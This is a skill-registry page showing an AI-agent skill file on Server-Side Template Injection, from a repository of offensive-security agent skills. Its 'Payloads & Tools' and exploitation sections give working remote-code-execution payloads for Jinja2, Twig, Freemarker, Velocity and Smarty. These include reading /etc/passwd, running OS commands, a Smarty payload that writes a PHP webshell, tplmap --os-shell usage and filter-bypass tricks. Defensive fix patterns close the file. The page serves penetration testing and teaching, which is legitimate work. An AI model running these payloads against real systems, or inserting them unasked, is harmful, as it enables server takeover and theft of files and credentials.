ssti
Skill22 starsChanged 6 months agoMITView on GitHub
Server-Side Template Injection (SSTI) occurs when user input is embedded directly into a template engine (Jinja2, Twig, Freemarker, Pebble, Velocity, Smarty, Mako) and evaluated, enabling remote code execution. Detect via math expressions `{{7*7}}` returning `49`, or `${7*7}`, `<%= 7*7 %>`. Leads to full RCE via template sandbox escape, Python `__class__.__mro__` traversal, and Java reflection chains. Tools: tplmap, Burp Suite.
- Reads credentials
5 other projects use a version of this, 1 of them edited.
Adopted by
Most recently taken up by
- PentesterFlow/agenttheir own version, first seen Aug 31, 2026
- conjure-3301/skillstheir own version, first seen Aug 17, 2026
- langbyyi/websec-skillstheir own version, first seen Jun 12, 2026
- sunilgentyala/OmniRededited, first seen Jun 4, 2026
- 0xGhostCAT/claude-ai-cyber-security-skillstheir own version, first seen Jun 2, 2026
Other versions5 projects use a version of this.
Word for word · 0
None found.
Edited · 1
- sunilgentyala/OmniRed★ 529% same
Wrote their own version · 4
- PentesterFlow/agent★ 1.4ksame name
- 0xGhostCAT/claude-ai-cyber-security-skills★ 41same name
- langbyyi/websec-skills★ 4same name
- conjure-3301/skills★ 0same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository353 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- bb-hugeSkill
- 2fa-multi-factor-bypassSkill
- 401-403-bypass-techniquesSkill
- Access Control — Complete Deep DiveSkill
- active-directory-acl-abuseSkill
- active-directory-asreproastingSkill
- active-directory-certificate-servicesSkill
- active-directory-dcsync-attackSkill
- active-directory-full-attack-chainSkill
- active-directory-golden-ticketSkill
- active-directory-kerberoastingSkill
- active-directory-kerberos-attacksSkill
- ad-asreproast-attackSkill
- ad-assessmentSkill
- ad-cs-esc1-abuseSkill
- ad-dcsync-attackSkill
- ad-pass-the-hashSkill
- advanced-sql-injection-sqliSkill
- ai-agent-tool-abuse-and-privilege-escalationSkill
- ai-data-extraction-via-ssrfSkill
- ai-data-poisoning-model-skewingSkill
- ai-data-poisoningSkill
- ai-jailbreak-obfuscation-ciphersSkill
- ai-jailbreak-prompt-injectionSkill
- ai-jailbreak-system-promptsSkill
- aikido-triageSkill
- ai-ml-securitySkill
- ai-pair-hunting-with-claudeSkill
- ai-prompt-leakingSkill
- ai-redteamSkill
- ai-report-writing-guardrailsSkill
- amend-skillSkill
- amsi-bypassSkill
- analyze-cveSkill
- android-apk-reverse-engineeringSkill
- android-pentesting-tricksSkill
- anti-debugging-techniquesSkill
- api-auth-and-jwt-abuseSkill
- api-authentication-bypassSkill
- api-authorization-and-bolaSkill
- api-enumeration-fuzzing-discoverySkill
- api-mass-assignment-exploitationSkill
- api-rate-limit-bypass-techniquesSkill
- api-recon-and-docsSkill
- api-secSkill
- api-securitySkill
- API Testing — Deep DiveSkill
- arbitrary-write-to-rceSkill
- authbypass-authentication-flawsSkill
- auth-bypassSkill
- Authentication — Complete Deep DiveSkill
- auth-secSkill
- authz-bypassSkill
- av-edr-evasion-techniquesSkill
- aws-cloud-penetration-testingSkill
- aws-cognito-abuseSkill
- aws-iam-privilege-escalationSkill
- aws-imdsv2-ssrf-bypassSkill
- aws-metadata-ssrf-exploitationSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
7 rules. 0 are common, 4 are distinctive, and 3 are very specific to this project.
0
Common
Most of the 4 edited versions we read keep these.
4
Distinctive
This author's own choices. Worth a look.
3
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 35
Use engine-specific payloads to access internal objects.
- Very specific: line 87
If {{ is filtered, try alternate delimiters: ${, #{, <%= , {%
- Very specific: line 90
Use |attr() filter in Jinja2 to access attributes without dot notation
- Distinctive: line 118
Never concatenate user input directly into template strings.
- Distinctive: line 119
Use sandboxed template environments where available (Jinja2 SandboxedEnvironment)
- Distinctive: line 122
Run template rendering in a restricted subprocess with limited OS permissions
- Very specific: line 123
Use logic-less templating engines (Mustache, Handlebars with allowProtoProperties: false) for user-facing customization
“Common” is measured: kept by at least 6 in 10 of the 4 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Server-Side Template Injection (SSTI)
What Is Broken and Why
SSTI occurs when user-supplied data is concatenated into a template string that is then rendered by a server-side template engine. Unlike XSS, execution happens on the server. Template engines provide access to the application runtime environment, enabling attackers to traverse object hierarchies, access internal classes, and ultimately execute arbitrary OS commands. The root cause is using templates as string formatting mechanisms fed with untrusted input rather than rendering only trusted template files.
Key Signals
- User input is reflected in responses as if processed (math expressions evaluated, not echoed)
- Parameters controlling page layout, email templates, error messages, or notification content
{{7*7}}returns49(Jinja2, Twig);${7*7}returns49(Freemarker, Velocity);<%= 7*7 %>returns49(ERB)- Error messages referencing template engines (Jinja2, Twig, Freemarker, Velocity, Smarty, Pebble)
- Python/Java stack traces in response
- Custom error pages that echo request parameters
Methodology
- Inject mathematical expressions using different template syntaxes and observe if they are evaluated:
{{7*7}}→49(Jinja2/Twig)${7*7}→49(Freemarker/Velocity/Mako)#{7*7}→49(Ruby ERB variant)<%= 7*7 %>→49(ERB, EJS)
- Identify the template engine from syntax that evaluates and from error messages.
- Use engine-specific payloads to access internal objects.
- Escalate to reading files, then to OS command execution.
- Automate detection and exploitation with tplmap.
Payloads & Tools
# Detection probes
TARGET/page?name={{7*7}} # Jinja2, Twig
TARGET/page?name=${7*7} # Freemarker, Velocity
TARGET/page?name=<%= 7*7 %> # ERB
TARGET/page?name=#{7*7} # Ruby
TARGET/page?name={{7*'7'}} # Twig (returns 7777777, Jinja2 returns 49)
# Jinja2 (Python) — RCE via __mro__ traversal
{{''.__class__.__mro__[1].__subclasses__()}}
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()}}
# Jinja2 — config object read
{{config}}
{{config.items()}}
# Jinja2 — file read
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
# Jinja2 — RCE alternative
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
# Twig (PHP) — RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# Freemarker (Java) — RCE
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
${"freemarker.template.utility.Execute"?new()("id")}
# Velocity (Java)
#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('id'))
# Smarty (PHP)
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
# tplmap automated detection and exploitation
tplmap -u "TARGET/page?name=*"
tplmap -u "TARGET/page?name=*" --os-shell
tplmap -u "TARGET/page" --data "name=*" --os-cmd "id"Bypass Techniques
- If
{{is filtered, try alternate delimiters:${,#{,<%=,{% - String concatenation to bypass keyword filters:
{{'os'|attr('popen')('id')|attr('read')()}} - Hex encoding of payload strings
- Use
|attr()filter in Jinja2 to access attributes without dot notation - Request parameter names rather than values may also be template-injected
- JSON body parameters may be reflected into templates — test all body fields
- Stored SSTI via profile fields, custom email templates, notification settings
Exploitation Scenarios
Scenario 1 — Jinja2 RCE via Name Parameter
Setup: Flask application renders Hello, {{ name }}! where name is a URL parameter.
Trigger: TARGET/greet?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Impact: OS command output returned in response; pivot to reverse shell.
Scenario 2 — Freemarker SSTI in Java CMS
Setup: CMS allows administrators to customize notification email templates with user-supplied variables.
Trigger: Insert ${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")} into template subject.
Impact: File contents returned when template is rendered/previewed; full server file read.
Scenario 3 — Twig SSTI in PHP Application
Setup: Error page template incorporates URL parameter for display.
Trigger: TARGET/error?msg={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
Impact: RCE as web server user; escalate to webshell upload.
False Positives
- Template syntax echoed literally without evaluation (template auto-escaping enabled)
- Mathematical result coincidence (e.g.,
7*7appearing in content for unrelated reasons) - Client-side template engines (Angular
{{}}, Vue{{}}) — execution in browser, not server - WAF returning
49in an error message that happens to contain that string
Fix Patterns
- Never concatenate user input directly into template strings; pass user data as template variables/context
- Use sandboxed template environments where available (Jinja2 SandboxedEnvironment)
- Allowlist permitted template syntax if user-customizable templates are required
- Validate and sanitize template input against a strict pattern
- Run template rendering in a restricted subprocess with limited OS permissions
- Use logic-less templating engines (Mustache, Handlebars with
allowProtoProperties: false) for user-facing customization
Related Skills
[[cmd-injection]] and SSTI both achieve arbitrary OS command execution via injection into an interpreter — SSTI routes through a template sandbox escape while cmd-injection hits the shell directly. The detection methodology (inject an expression, observe evaluation) mirrors [[xss-reflected]] canary probing but the consequence is server-side rather than client-side. SSTI is often found in the same parameters that also carry [[xss-reflected]] payloads — a parameter that reflects {{7*7}} as 49 has SSTI; one that reflects <script> unencoded has XSS.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

